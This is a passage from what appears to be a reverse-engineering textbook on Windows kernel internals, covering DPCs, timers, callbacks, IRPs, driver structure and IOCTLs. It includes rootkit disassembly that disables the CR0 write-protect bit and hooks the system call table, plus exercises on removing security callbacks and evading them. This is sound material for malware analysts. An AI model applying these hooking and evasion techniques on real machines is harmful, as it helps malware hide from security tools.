03 fffff880`03116d00 fffff800`028ae486 nt!PspSystemThreadStartup+0x5a
04 fffff880`03116d40 00000000`00000000 nt!KiStartSystemThread+0x16

Recall that the thread dispatcher runs at DISPATCH_LEVEL, and code running 

at this IRQL cannot be interrupted by other software IRQLs (i.e., those below 

DISPATCH_LEVEL). In other words, if there is an infi nite loop in the DPC routine, 

the processor associated with it will spin forever and the system will practically 

“freeze”; in a multi-processor system, it may not freeze but the processor executing 

the DPC will not be usable by the thread dispatcher. In addition, the DPC routine 

cannot wait on any kind of dispatcher objects because the dispatcher itself oper-

ates at DISPATCH_LEVEL; this is why functions such as KeWaitForSingleObject 

and KeDelayExecutionThread cannot be called in DPC routines.

N O T E  Windows has a DPC watchdog routine that detects DPCs run-

ning over a certain time period and bugchecks with code DPC_WATCHDOG_

VIOLATION (0x133). You can query the watchdog timer value by calling 

KeQueryDpcWatchdogInformation.

Some rootkits use DPCs to synchronize access to global linked lists. For 

example, they may remove an entry from the ActiveProcessLinks list to hide 

processes; because this list can be modifi ed at any time by any processor, some 

rootkit authors use a DPC along with another synchronization mechanism to 

safely operate on it. In one of the exercises, you will be asked to explain why 

some authors succeed at this while others fail (machine bugchecks).



140 Chapter 3 ■ The Windows Kernel

c03.indd 09:39:18:AM  07/13/2016 Page 140

Exercises

 1. Where and when is the DpcData fi eld in KPRCB initialized?

 2. Write a driver to enumerate all DPCs on the entire system. Make sure 

you support multi-processor systems! Explain the diffi culties and how 

you solved them.

 3. Explain how the KiDpcWatchdog routine works.

Timers

Timers are used to signal the expiration of a certain amount of time, which can 

be periodically or at some time in the future. Optionally, the timer can also be 

associated with a DPC. For example, if a driver wants to check the status of a 

device every fi ve minutes or execute a routine 10 minutes in the future, it can 

achieve this by using timers.

Concretely speaking, a timer is defi ned by the KTIMER structure:

Timer-related structures

0: kd> dt nt!_KPRCB
...   
   +0x2dfc InterruptRate    : Uint4B
   +0x2e00 TimerTable       : _KTIMER_TABLE
0: kd> dt nt!_KTIMER_TABLE
   +0x000 TimerExpiry      : [64] Ptr64 _KTIMER
   +0x200 TimerEntries     : [256] _KTIMER_TABLE_ENTRY
0: kd> dt nt!_KTIMER
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 DueTime          : _ULARGE_INTEGER
   +0x020 TimerListEntry   : _LIST_ENTRY
   +0x030 Dpc              : Ptr64 _KDPC
   +0x038 Processor        : Uint4B
   +0x03c Period           : Uint4B
0: kd> dt nt!_KTIMER_TABLE_ENTRY
   +0x000 Lock             : Uint8B
   +0x008 Entry            : _LIST_ENTRY
   +0x018 Time             : _ULARGE_INTEGER

Timer-related routines

VOID KeInitializeTimer(
  _Out_  PKTIMER Timer
);

BOOLEAN KeSetTimer(
  _Inout_   PKTIMER Timer,



 Chapter 3 ■ The Windows Kernel 141

c03.indd 09:39:18:AM  07/13/2016 Page 141

  _In_      LARGE_INTEGER DueTime,
  _In_opt_  PKDPC Dpc
);

BOOLEAN KeSetTimerEx(
  _Inout_   PKTIMER Timer,
  _In_      LARGE_INTEGER DueTime,
  _In_      LONG Period,
  _In_opt_  PKDPC Dpc
);

It is initialized by calling KeInitializeTimer, which simply fi lls out some of 

the basic fi elds. After initialization, the timer can be set through either KeSetTimer 

or KeSetTimerEx. The difference between the two is that KeSetTimerEx can be 

used to set a recurring timer (i.e., expire every X time unit). Note that these 

functions can optionally take a DPC object, which is executed when the timer 

expires. When calling these routines, the timer is inserted into a timer table 

in the PRCB (TimerTable->TimerListEntry). Once set and queued, a timer 

may be cancelled and hence removed from the timer table. This is done by the 

KeCancelTimer API.

How does the system know when a timer expires? On every clock interrupt, 

the system updates its runtime and checks the timer list to see if there are any 

expiring entries; if there are, it requests a DPC interrupt that will process the 

entries. Hence, timers are also processed at DISPATCH_LEVEL.

There are many examples showing how timers are used in the operating system. 

For example, the system has a periodic timer that synchronizes the system time 

and checks if the license is expiring (see ExpTimeRefreshDpcRoutine). There is 

even a timer that expires at the end of a century (see ExpCenturyDpcRoutine).

Exercises

 1. Write a driver to enumerate the loaded module list every 10 minutes.

 2. Write a driver to enumerate all timers on the system. Make sure you sup-

port multi-core systems. Explain why the DPC data associated with the 

timer does not seem to make sense.

 3. Explain the DpcWatchDogTimer fi eld in the PRCB.

 4. Write a driver that sets a timer with an associated DPC. Explain the sequence 

of calls leading to DPC execution. You may be interested in the following 

functions: KeUpdateRuntime, KeAccumulateTicks, KiTimerExpiration, 

KiRetireDpcList, and KiExpireTimerTable.

 5. Explain how timer insertion works. You will need to look at the function 

KiInsertTimerTable.
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Process and Thread Callbacks

A driver can register callbacks for a variety of events. Two of the most com-

mon callbacks are related to processes and threads, and they can be regis-

tered through documented APIs such as PsSetCreateProcessNotifyRoutine, 

PsSetCreateThreadNotifyRoutine, and PsSetLoadImageNotifyRoutine. How 

do they work?

During system initialization, the kernel calls the function PspInitializeCallbacks 

to initialize three global arrays: PspCreateThreadNotifyRoutine , 

PspCreateProcessNotifyRoutine, and PspLoadImageNotifyRoutine. When 

the driver registers a process, thread, or image callback, it is stored in one of 

these arrays. In addition, there is a global fl ag, PspNotifyEnableMask, which 

determines what notifi cation types are enabled/disabled. In the thread initial-

ization and termination paths (PspInsertThread and PspExitThread, respec-

tively), it checks whether the PspNotifyEnableMask fl ag is present and invokes 

the callbacks accordingly.

These callbacks are primarily provided for drivers and hence are not explicitly 

used by the kernel. For example, many anti-virus software products register 

these callbacks to monitor system behavior. Kernel-mode rootkits sometimes 

use them in conjunction with APCs to inject code into new processes.

Exercises

 1. This section provided a general explanation of how process, thread, and 

image notify callbacks are implemented. Investigate the following func-

tions and explain how they work:

 ■ PsSetCreateThreadNotifyRoutine

 ■ PsSetCreateProcessNotifyRoutine

 ■ PsSetLoadImageNotifyRoutine

 ■ PspInitializeCallbacks

 2. If you did exercise 1, write a driver that enumerates all process, thread, 

and image notify routines on the system and remove them.

 3. If you did exercise 1, explain two major weaknesses of these notifi cation 

callbacks. For example, can you create new processes/threads without 

being detected by these callbacks? Implement your idea and evaluate its 

effectiveness. Note: It is possible.

 4. If you register an image load callback with PsSetLoadImageNotifyRoutine, 

under what condition is it called? Identify one weakness and implement 

your idea. Hint: You may need to consult the PE specifi cation.
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 5. The PsSetCreateThreadNotifyRoutine, PsSetCreateProcessNotifyRoutine, 

and PsSetLoadImageNotifyRoutine APIs are exposed by the process man-

ager. However, the object and confi guration managers also expose their 

own callbacks through ObRegisterCallbacks and CmRegisterCallback, 

respectively. Investigate how these callbacks are implemented.

 6. Identify other similar callbacks documented in the WDK and investigate 

how they work (processor, memory, and so on).

Completion Routines

The Windows I/O model is that of a device stack, whereby devices are lay-

ered on top of each other, with each layer implementing some specifi c func-

tion. This means that higher-level drivers can pass requests to lower ones for 

processing. Whichever layer completes the requests marks it done by calling 

IoCompleteRequest. Completion routines are used to notify drivers that their 

I/O request has been completed (or that it was cancelled or failed). They run in 

arbitrary thread context and can be set through the IoSetCompletionRoutine/Ex 

APIs. IoSetCompletionRoutine is documented in WDK, but it will never appear 

in an assembly listing or import table because it is forced-inline; one method to 

identify the IoSetCompletion routine is to see the CompletionRoutine fi eld in 

an IO_STACK_LOCATION (see the next section) modifi ed:

Structure defi nition

0: kd> dt nt!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x008 Parameters       : <unnamed-tag>
   +0x028 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x030 FileObject       : Ptr64 _FILE_OBJECT
   +0x038 CompletionRoutine : Ptr64     long
   +0x040 Context          : Ptr64 Void

Function defi nition

VOID
IoSetCompletionRoutine(
    _In_ PIRP Irp,
    _In_opt_ PIO_COMPLETION_ROUTINE CompletionRoutine,
    _In_opt_ __drv_aliasesMem PVOID Context,
    _In_ BOOLEAN InvokeOnSuccess,
    _In_ BOOLEAN InvokeOnError,
    _In_ BOOLEAN InvokeOnCancel
    )
{
    PIO_STACK_LOCATION irpSp;



144 Chapter 3 ■ The Windows Kernel

c03.indd 09:39:18:AM  07/13/2016 Page 144

    irpSp = IoGetNextIrpStackLocation(Irp);
    irpSp->CompletionRoutine = CompletionRoutine;
    irpSp->Context = Context;
    irpSp->Control = 0;
    if (InvokeOnSuccess) {
        irpSp->Control = SL_INVOKE_ON_SUCCESS;
    }
    if (InvokeOnError) {
        irpSp->Control |= SL_INVOKE_ON_ERROR;
    }
    if (InvokeOnCancel) {
        irpSp->Control |= SL_INVOKE_ON_CANCEL;
    }
}

The I/O manager calls the registered completion routine as part of 

IopfCompleteRequest. 

Although the legitimate use of completion routines is obvious, rootkits may use 

them for nefarious purposes. For example, they can set a completion routine to 

modify the return buffer from a lower driver before it is returned to user mode.

Exercise

 1. Write a test driver using a completion routine and determine where it is 

called from.

I/O Request Packets

Windows uses I/O request packets (IRPs) to describe I/O requests to kernel-

mode components (like drivers). When a user-mode application calls an API to 

request data, the I/O manager builds an IRP to describe the request and deter-

mines which device to send the IRP to for processing. From the time an IRP is 

created until its completion by a driver, it may have passed through multiple 

devices, and additional IRPs could have been created to fulfi ll the request. One 

can think of IRPs as the fundamental unit of communication between devices 

for I/O requests. An IRP is defi ned in WDK headers by the partially opaque IRP 

structure, but most fi elds are undocumented (hence partially opaque):

0: kd> dt nt!_IRP
   +0x000 Type             : Int2B
...
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   +0x042 StackCount       : Char
   +0x043 CurrentLocation  : Char
...   
   +0x058 Overlay          : <unnamed-tag>
   +0x068 CancelRoutine    : Ptr64     void
   +0x070 UserBuffer       : Ptr64 Void
   +0x078 Tail             : <unnamed-tag>

From a programming perspective, an IRP can be divided into two areas: static 

and dynamic. The static part is an IRP structure with basic information about 

the request such as who requested the operation (kernel or user), requesting 

thread, and data passed in from the user. The Overlay and Tail fi elds are unions 

containing metadata about the request. The dynamic part is immediately after 

the header; it is an array of IO_STACK_LOCATION structures containing device-

specifi c request information. An IO_STACK_LOCATION contains the IRP’s major 

and minor function, parameters for the request, and an optional completion 

routine. Similar to IRP, it is a partially opaque structure:

0: kd> dt nt!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x008 Parameters       : <unnamed-tag>
   +0x028 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x030 FileObject       : Ptr64 _FILE_OBJECT
   +0x038 CompletionRoutine : Ptr64     long
   +0x040 Context          : Ptr64 Void

The Parameters fi eld is a union because the parameter depends on the major 

and minor function number. Windows has a predefi ned list of generic major and 

minor functions to describe all request types. For example, a fi le read request 

will lead to an IRP created with the major function IRP_MJ_READ; when Windows 

requests input from the keyboard class driver, it also uses IRP_MJ_READ. When 

the I/O manager creates an IRP, it determines how many IO_STACK_LOCATION 

structures to allocate based on how many devices there are in the current 

device stack. Each device is responsible for preparing the IO_STACK_LOCATION 

for the next one. Recall that a driver can set a completion routine with the 

IoSetCompletionRoutine API; this is actually an inlined routine that sets the 

CompletionRoutine fi eld in the IO_STACK_LOCATION.

Figure 3-8 illustrates the relationship between these two structures 

in an IRP.
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Figure 3-8

Note that the “next” stack location is the element immediately above the “cur-

rent” one (not after it). This is important to know because stack location routines 

such as IoGetCurrentIrpStackLocation, IoSkipCurrentIrpStackLocation,

IoGetNextIrpStackLocation, and others are simply returning pointers to these 

array elements using pointer arithmetic.

Although IRPs are typically generated by the I/O manager in response to 

requests from users or other devices, they may also be created from scratch

and sent to other devices for processing. A driver can allocate an IRP with 

IoAllocateIrp, associate it with a thread, fi ll out the IRP major and minor 

code, set up IO_STACK_LOCATION count/size, fi ll in parameters, and send it to

the destination device for processing with IoCallDriver. Some rootkits use

this mechanism to directly send requests to the fi le system driver in order to 

bypass system call hooking. You will analyze one such rootkit in the exercise.

Structure of a Driver

A driver is a piece of software that interacts with the kernel and/or controls

hardware resources. While there are many different types of drivers, we are 

primarily concerned with the following types of kernel-mode drivers:

■ Legacy software driver—Software that runs in ring 0 and interacts with

the kernel through documented and undocumented interfaces. Most 

rootkits and security drivers are of this type.
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 ■ Legacy fi lter driver—Drivers that attach to an existing driver and modify 

its input.

 ■ File system minifi lter driver—Drivers that interact with the fi le system 

to intercept fi le I/O requests. Most anti-virus software uses this kind 

of driver to intercept fi le writes/reads for scanning purposes; on-disk 

encryption software is typically implemented through this mechanism.

The standard model for Windows drivers is the Windows Driver Model 

(WDM). WDM defi nes both a set of interfaces that drivers must implement and 

rules to follow in order to safely interact with the kernel. It has been defi ned 

since Windows 2000 and all drivers you analyze are based on it. Because writ-

ing reliable plug-and-play hardware drivers with full power management and 

handling all the synchronization idiosyncrasies using pure WDM interfaces is 

exceedingly diffi cult, Microsoft introduced the Windows Driver Foundation 

(WDF) framework. WDF is basically a set of libraries built on top of WDM that 

simplifi es driver development by shielding developers from directly interacting 

with WDM. WDF is divided into two categories: kernel-mode driver framework 

(KMDF) and user-mode driver framework (UMDF). KMDF is meant for kernel-

mode drivers (such as keyboards and USB devices) and UMDF is for user-mode 

drivers (such as printer drivers). This book deals only with drivers based on 

the WDM model.

One can think of a driver as a DLL that is loaded into the kernel address 

space and executes with the same privilege as the kernel. It has a well-defi ned 

entry point and may register dispatch routines to service requests from users 

or other drivers. Note that a driver does not have a main execution thread; it 

simply contains code that can be called by the kernel under certain circum-

stances. This is why drivers usually have to register dispatch routines with the 

I/O manager (see the next section). When analyzing drivers, the fi rst and most 

important task is to identify these dispatch routines and understand how they 

interact with the kernel.

Entry Points

All drivers have an entry point called DriverEntry, which is defi ned as follows:

DriverEntry

NTSTATUS
DriverEntry (
    PDRIVER_OBJECT DriverObject,
    PUNICODE_STRING RegistryPath
);

DRIVER_OBJECT

typedef struct _DRIVER_OBJECT {
    CSHORT Type;



148 Chapter 3 ■ The Windows Kernel

c03.indd 09:39:18:AM  07/13/2016 Page 148

    CSHORT Size;
    PDEVICE_OBJECT DeviceObject;
    ULONG Flags;
    PVOID DriverStart;
    ULONG DriverSize;
    PVOID DriverSection;
    PDRIVER_EXTENSION DriverExtension;
    UNICODE_STRING DriverName;
    PUNICODE_STRING HardwareDatabase;
    PFAST_IO_DISPATCH FastIoDispatch;
    PDRIVER_INITIALIZE DriverInit;
    PDRIVER_STARTIO DriverStartIo;
    PDRIVER_UNLOAD DriverUnload;
    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;

N O T E  Technically, the entry point does not have to be named DriverEntry.

When a driver needs to be loaded, its image is mapped into kernel space 

memory, a driver object is created for it and registered with the object manager, 

and then the I/O manager calls the entry point. DRIVER_OBJECT is a structure 

fi lled out by the I/O manager during the driver loading process; the offi cial 

documentation indicates that it is a partially opaque structure, but one can 

view its full defi nition in the header fi les. DriverInit is set to the driver’s entry 

point and the I/O manager directly calls this fi eld. The primary responsibility 

of DriverEntry is to initialize driver-specifi c settings and register IRP dispatch 

routines as necessary. These routines are stored in the MajorFunction array. As 

previously mentioned, Windows has a pre-defi ned set of IRP major functions to 

generically describe every I/O request; whenever an I/O request comes in for 

the driver, the I/O manager calls the appropriate IRP major function handler 

to process the request. Hence, it is common to see code like the following in 

DriverEntry:

DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateCloseHandler;

DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateCloseHandler;

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlHandler;

...

Note that the same dispatch routine can be specifi ed for multiple IRP major 

functions. Sometimes they will be initialized in a loop:

for (i=0; i<IRP_MJ_MAXIMUM; i++) {
    DriverObject->MajorFunction[i] = GenericHandler;
}
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateHandler;
DriverObject->MajorFunction[IRP_MJ_PNP] = PnpHandler;
...
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If you do not initialize the MajorFunction table, it will contain the default han-

dler IopInvalidDeviceRequest, which simply returns an error to the requestor.

If a driver supports dynamic unloading, it must also fi ll out the DriverUnload 

fi eld; otherwise, the driver will remain in memory forever (until reboot). A 

DriverUnload routine typically performs driver-specifi c cleanup tasks. Many 

rootkits do not register an unload routine.

RegistryPath is the registry path for the driver. It is created as part of the 

normal driver installation process.

Driver and Device Objects

The previous section states that the I/O manager creates a DRIVER_OBJECT for 

every driver loaded in the system. A driver can choose to create one or more 

device objects. Device objects are defi ned by the partially opaque DEVICE_OBJECT 

structure:

typedef struct _DEVICE_OBJECT {
    CSHORT Type;
    USHORT Size;
    LONG ReferenceCount;
    struct _DRIVER_OBJECT *DriverObject;
    struct _DEVICE_OBJECT *NextDevice;
    struct _DEVICE_OBJECT *AttachedDevice;
    struct _IRP *CurrentIrp;
    ...
    PVOID DeviceExtension;
    DEVICE_TYPE DeviceType;
    CCHAR StackSize;
    ...
    ULONG ActiveThreadCount;
    PSECURITY_DESCRIPTOR SecurityDescriptor;
    ...
    PVOID Reserved;
} DEVICE_OBJECT, *PDEVICE_OBJECT;

DriverObject is the driver object associated with this device object. If the 

driver created more than one device object, then NextDevice will point to the 

next device object in the chain. A driver may create multiple device objects to 

manage different hardware resources it is handling. If no device objects are cre-

ated, then no one can send requests to the device. Typically, drivers will create 

device objects in DriverEntry through the IoCreateDevice API.

DeviceExtension is a pointer to device-specifi c data stored in non-paged pool. 

Its size is specifi ed as a parameter to IoCreateDevice. Developers typically 

store context information or important data about the driver and other related 

devices here. Recovering the device extension structure is probably the second 

most important task in the analysis of drivers.
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A driver can “attach” one of its own device objects to another device object so 

that it receives I/O requests intended for the target device object. For example, 

if device A attaches to device B, then all IRP requests sent to B will be routed to 

A fi rst. This attaching mechanism is used to support fi lter drivers so that they 

can modify/inspect requests to other drivers. The AttachedDevice fi eld points 

to the device to which the current device object is attached. Device attaching is 

done through the IoAttachDevice API family.

IRP Handling

As mentioned earlier, DriverEntry typically registers dispatch routines to 

handle various IRP major functions. The prototype for these dispatch routines 

is as follows:

NTSTATUSXXX_Dispatch
(    PDEVICE_OBJECT DeviceObject,
PIRP Irp);

The fi rst argument is the request’s target device object. The second argument 

is the IRP describing the request.

A dispatch routine typically fi rst determines what IRP major function it 

received and then determines the request’s parameters. It does so by check-

ing the IO_STACK_LOCATION in the IRP. If the dispatch routine successfully 

completes the request, it calls IoCompleteRequest and returns. If it cannot 

complete the request, then it has three options: return an error, pass the IRP 

to another driver, or pend the IRP. For example, a fi lter driver may choose 

to process only IRP_MJ_READ requests itself and pass all other requests to 

the attached device. A driver can pass IRPs to another driver through the 

IoCallDriver API.

Because IRP parameters for each request are stored in their own IO_STACK_

LOCATION, a driver must ensure that it is accessing the right location. This is done 

through the IoGetCurrentIrpStackLocation API. If the driver wants to pass 

the same IRP to another driver, it has to either copy the current parameters to 

the next IO_STACK_LOCATION (IoCopyCurrentIrpStackLocationToNext) or pass 

the parameter to the next driver (IoSkipCurrentStackLocation).

A Common Mechanism for User-Kernel Communication

Many mechanisms are used to facilitate user-kernel communication. For example, 

a driver can communicate with user-mode code through a shared memory region 

double-mapped in user and kernel space. Another method is for the driver to 

create an event that a user-mode thread can wait on; the event state can be used 

as a trigger for further action. Yet another (although hackish) method is through 

interrupt handling. A driver can manually set up a custom interrupt handler 
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in the IDT and user-mode code can trigger it with the INT instruction; you will 

probably never see this technique used in a commercial driver.

While the precise communication mechanism depends on the developer’s 

ultimate goal, a generic documented interface is typically used for user-kernel 

data exchange. This mechanism is supported by the IRP_MJ_DEVICE_CONTROL 

operation and commonly referred to as device I/O control or simply IOCTL. It 

works as follows:

 1. The driver defi nes one or more IOCTL codes for each operation it supports.

 2. For each supported operation, the driver specifi es how it should access 

the user input and return data to the user. There are three access methods: 

buffered I/O, direct I/O, and neither. These methods are covered in the 

next section.

 3. Inside the IRP_MJ_DEVICE_CONTROL handler, the driver retrieves the IOCTL 

code from its IO_STACK_LOCATION and processes the data based on the 

input method.

User-mode code can request these IOCTL operations through the 

DeviceIoControl API.

Buff ering Methods

A driver can access a user-mode buffer using one of the following three methods:

 ■ Buffered I/O—This is referred to as METHOD_BUFFERED in the kernel. When 

using this method, the kernel validates the user buffer to be in accessible 

user-mode memory, allocates a block of memory in non-paged pool, and 

copies the user buffer to it. The driver accesses this kernel-mode buffer 

through the AssociatedIrp.SystemBuffer fi eld in the IRP structure. 

While processing the request, the driver may modify the system buffer 

(perhaps it needs to return some data back to the user); after completing 

the request, the kernel copies the system buffer’s content back to the user-

mode buffer and automatically frees the system buffer.

 ■ Direct IO—This is referred to as METHOD_IN_DIRECT or METHOD_OUT_DIRECT 

in the kernel. The former is used for passing data to the driver; the latter 

is used for getting data from the driver. This method is similar to buffered 

I/O except that the driver gets an MDL describing the user buffer. The 

I/O manager creates the MDL and locks it in memory before passing it 

to the driver. Drivers can access this MDL through the MdlAddress fi eld 

of the IRP structure.

 ■ Neither—This is referred to as METHOD_NEITHER in the kernel. When using 

this method, the I/O manager does not perform any kind of validation 

on the user data; it passes the raw data to the driver. Drivers can access 

the data through the Parameters.DeviceIoControl.Type3InputBuffer 
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fi eld in its IO_STACK_LOCATION. While this method may seem the fastest 

of the three (as there is no validation or mapping of additional buffers), 

it is certainly the most insecure one. It leaves all the validation to the 

developer. Without proper validation, a driver using this method may 

expose itself to security vulnerabilities such as kernel memory corruption 

or leakage/disclosure.

There is no written rule for determining which method to use in drivers 

because it depends on the driver’s specifi c requirements. However, in practice, 

most software drivers use buffered I/O because it provides a good balance 

between simplicity and security. Direct I/O is common in hardware drivers 

because it can be used to pass large data chunks without buffering overhead.

I/O Control Code

An IOCTL code is a 32-bit integer that encodes the device type, operation-specifi c 

code, buffering method, and security access. Drivers usually defi ne IOCTL codes 

through the CTL_CODE macro:

#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \

    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \

)

DeviceType is usually one of the FILE_DEVICE_* constants, but for third-party 

drivers it can use anything above 0x8000. (This is only the recommended value 

and there is nothing enforcing it.) Access specifi es generic read/write operations 

allowed by the IOCTL; it can be a combination of FILE_ANY_ACCESS, FILE_READ_

ACCESS, and FILE_WRITE_ACCESS. Function is the driver-specifi c IOCTL code; 

it can be anything above 0x800. Method specifi es one of the buffering methods.

A typical way to defi ne an IOCTL code is as follows:

#define FILE_DEVICE_GENIOCTL 0xa000 // our device type
#define GENIOCTL_PROCESS     0x800  // our special IOCTL code

#define IOCTL_PROCESS CTL_CODE(FILE_DEVICE_GENIOCTL, \ 
                                   GENIOCTL_PROCESS, \
                                   METHOD_BUFFERED, FILE_READ_DATA)

This defi nes an IOCTL called IOCTL_PROCESS for a custom driver using 

METHOD_BUFFERED.

When analyzing a driver, it is important to decompose the IOCTL down to 

its device type, code, access, and buffering method. This can be achieved with 

a couple of simple documented macros:

#define DEVICE_TYPE_FROM_CTL_CODE(ctrlCode) \
                              (((ULONG)(ctrlCode & 0xffff0000)) >> 16)
#define METHOD_FROM_CTL_CODE(ctrlCode)      ((ULONG)(ctrlCode & 3)
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Miscellaneous System Mechanisms

This section discusses constructs that—while not essential to understanding 

kernel drivers—are frequently observed in real-life drivers.

System Control Registers

In order to achieve their goals, many rootkit developers resort to hooking func-

tions in the kernel. However, all kernel code is mapped as read-only, so patching 

it will result in a bugcheck. On x86/x64, this protection mechanism is actually 

enforced at the hardware level through a special control register: CR0. CR0 deter-

mines several important processor settings, such as whether it is in protected 

mode and whether paging is enabled; it also determines whether the CPU can 

write to read-only pages (WP bit). CR0 is only accessible by code running in ring 

0. By default, Windows turns on the WP bit, which prohibits writes to pages 

marked read-only.

N O T E  On x64 and ARM, there is a Windows feature called Kernel Patch Protection, 

also known as PatchGuard, that tries to detect hooks and modifi cations to various 

security-critical data structures and bugchecks the machine. Hence, it is not common 

to see hooks on these platforms in shipping/production drivers. Nevertheless, hook-

ing is still prevalent because there are many x86 machines out there, so you will fre-

quently run into them.

There are several ways to bypass this restriction and the easiest one is to 

toggle the WP bit. Hence, you will frequently see this code pattern in rootkits. 

For example, Sample G:

01: .text:0001062F   push    eax
02: .text:00010630   mov     eax, cr0
03: .text:00010633   mov     [esp+8+var_4], eax
04: .text:00010637   and     eax, 0FFFEFFFFh
05: .text:0001063C   mov     cr0, eax
06: .text:0001063F   pop     eax

Lines 2–3 copy CR0 to EAX and save it to a local variable. Lines 4–5 turn off the 

bit 16 in EAX and write it back to CR0. Bit 16 in CR0 is the WP bit.

There are at least two other solutions that do not directly modify CR0. They 

involve MDLs and knowledge of the platform MMU. You will be required to 

do this as one of the exercises.

KeServiceDescriptorTable

As previously stated, many rootkits resort to hooking system calls. However, 

as you learned, system calls are identifi ed by a number that is used as an index 
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into a syscall table. Furthermore, the system call table (KiServiceTable) is not 

exported, so there is no easy way to access it from a driver. How do rootkit 

authors get around this?

The kernel exports the KeServiceDescriptorTable symbol, which contains 

a KSERVICE_TABLE_DESCRIPTOR structure with the system call information. 

(Recall that on x64, this symbol is not exported.) This is how most rootkits 

access the system call table. The next step is to identify where the target system 

call is located. Recall that system calls are identifi ed by a number, not by name. 

Rootkit authors have several ways to fi nd the right system call. One way is to 

hardcode the syscall index. Another method is to disassemble the system call 

stub and get the index from there. Both of these methods have a trade-off: They 

are simple to implement, but they rely on code or data patterns that may change 

from service pack to service pack; they may be reliable on some platforms, but 

will certainly lead to system instability on others. Despite the unreliability, 

these two methods are frequently used by rootkits in the wild. For example, 

Sample G has the following code:

01: .text:000117D4 sub_117D4 proc near
02: .text:000117D4   push    ebp
03: .text:000117D5   mov     ebp, esp
04: .text:000117D7   push    ecx
05: .text:000117D8   mov     ecx, ds:KeServiceDescriptorTable
06: .text:000117DE   mov     ecx, [ecx]
07: .text:000117E0   push    esi
08: .text:000117E1   mov     esi, ds:ZwQuerySystemInformation
09: ...
10: .text:00011808   call    DisableWP
11: .text:0001180D   mov     ecx, ds:KeServiceDescriptorTable
12: .text:00011813   mov     eax, [esi+1]
13: .text:00011816   mov     ecx, [ecx]
14: .text:00011818   mov     dword ptr [ecx+eax*4], offset sub_1123E
15: ...
16: .text:00011836 sub_117D4 endp

Lines 5–10 save the address of KiServiceTable in ECX, save the address of 

ZwQuerySystemInformation in ESI, and disable the WP bit. Line 12 retrieves the 

second byte from ZwQuerySystemInformation; it does this because it assumes 

that the fi rst instruction in the function moves the syscall number to a register 

and hence the 32-bit value after the opcode contains the actual syscall number 

(see the following sidebar). Lines 13–14 overwrite that syscall entry in the service 

table with a new function: sub_1123e. All calls to ZwQuerySystemInformation 

will now be redirected to sub_1123e.

N O T E  We mentioned earlier that line 12 retrieves the second byte from 

ZwQuerySystemInformation. On 32-bit Windows 7, the fi rst instruction in 
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ZwQuerySystemInformation is b805010000 mov eax and 105h. b8 is the 

MOV opcode, while 05010000 (0x105) encodes the immediate, which in this case is the 

syscall number.

Sections

A section is an object used to describe memory backed by some form of storage. 

The section can be backed by a normal fi le or a page fi le. A fi le-backed section 

is one for which the memory content is that of a fi le on disk; if there are modi-

fi cations to the section, they will be made directly to disk. A page-fi le-backed 

section is one whose content is backed by the page fi le; modifi cations to such 

a section will be discarded after it is closed. A driver can create a section with 

the ZwCreateSection API and then map a view of it into another process with 

ZwMapViewOfSection. Each view is basically a virtual address range that can be 

used to access the memory represented by the associated section object. Hence, 

there can be multiple views for a section.

Walk-Throughs

Now that you have a strong grasp of Windows kernel and driver concepts, it is 

time to apply that knowledge by analyzing some real-life rootkits. This section 

serves two purposes: to explain the thinking process of kernel-mode reverse 

engineering and to demonstrate the application of driver development tech-

niques to understanding rootkits. 

Rootkits come in many different forms. Some hook system calls, some hide 

fi les by fi ltering I/O responses, some intercept network communication, some 

log keystrokes, and so on. However, like all drivers, they share the same generic 

structure; for example, they all have a DriverEntry function with optional 

IRP dispatch handlers that interface with the kernel through documented and 

undocumented interfaces. With this knowledge, you can dissect core compo-

nents of a driver and systematically analyze them. The general analysis process 

is as follows:

 1. Identify DriverEntry and determine the IRP dispatch handlers, if any.

 2. Determine whether the driver attaches to another device to fi lter/intercept 

its I/O requests. If so, what is the target device?

 3. If the driver creates a device object, determine the name and device exten-

sion size.

 4. Recover the device extension structure by observing how its fi eld members 

are used.
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 5. If the driver supports IOCTL, identify all the IOCTL codes and their cor-

responding functionality. Determine what buffering method they use.

 6. Identify DPCs, work items, APCs, timers, completion routines, callbacks, 

and system threads.

 7. Try to understand how all the pieces fi t together.

An x86 Rootkit

The walk-through begins with Sample A.

Its DriverEntry starts at 0x105F0 and ends at 0x106AD. It fi rst initializes a 

UNICODE_STRING structure with the strings \Device\fsodhfn2m and \DosDevices\

fsodhfn2m. In kernel mode, most strings are described using the UNICODE_STRING 

structure:

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

It is initialized through the RtlInitUnicodeString API. The “Device” string 

is a device name in the object manager; the “DosDevices” string is used as a 

symbolic link to the actual device name. The Windows object manager main-

tains and organizes objects in a fi lesystem-like structure with the root at “\”. 

There are well-defi ned directories such as \Devices, \BaseNamedObjects, \

KernelObjects, and so on. \DosDevices is an alias for the \?? directory; it is 

there because when user-mode applications specify the path to an object they 

want to access, the \??\ is prepended to it; \?? contains symbolic links point-

ing to the real object. For example, when a user wants to access “c:\test.txt” 

through the CreateFile API, the actual path sent to the kernel is “\??\c:\

test.txt”; because “c:” is a symbolic link to \Device\HarddiskVolume2 (it 

may vary on your system), the whole path will eventually resolve to \Device\

HarddiskVolume2\test.txt. The symbolic link is necessary because user-mode 

APIs usually access devices through the \?? directory; if there were no symbolic 

links there, the device may not be accessible to user-mode apps.

After initializing the two strings, it proceeds to create the actual device object. 

IoCreateDevice is defi ned as follows:

NTSTATUS 
  IoCreateDevice(
    IN PDRIVER_OBJECT  DriverObject,
    IN ULONG  DeviceExtensionSize,
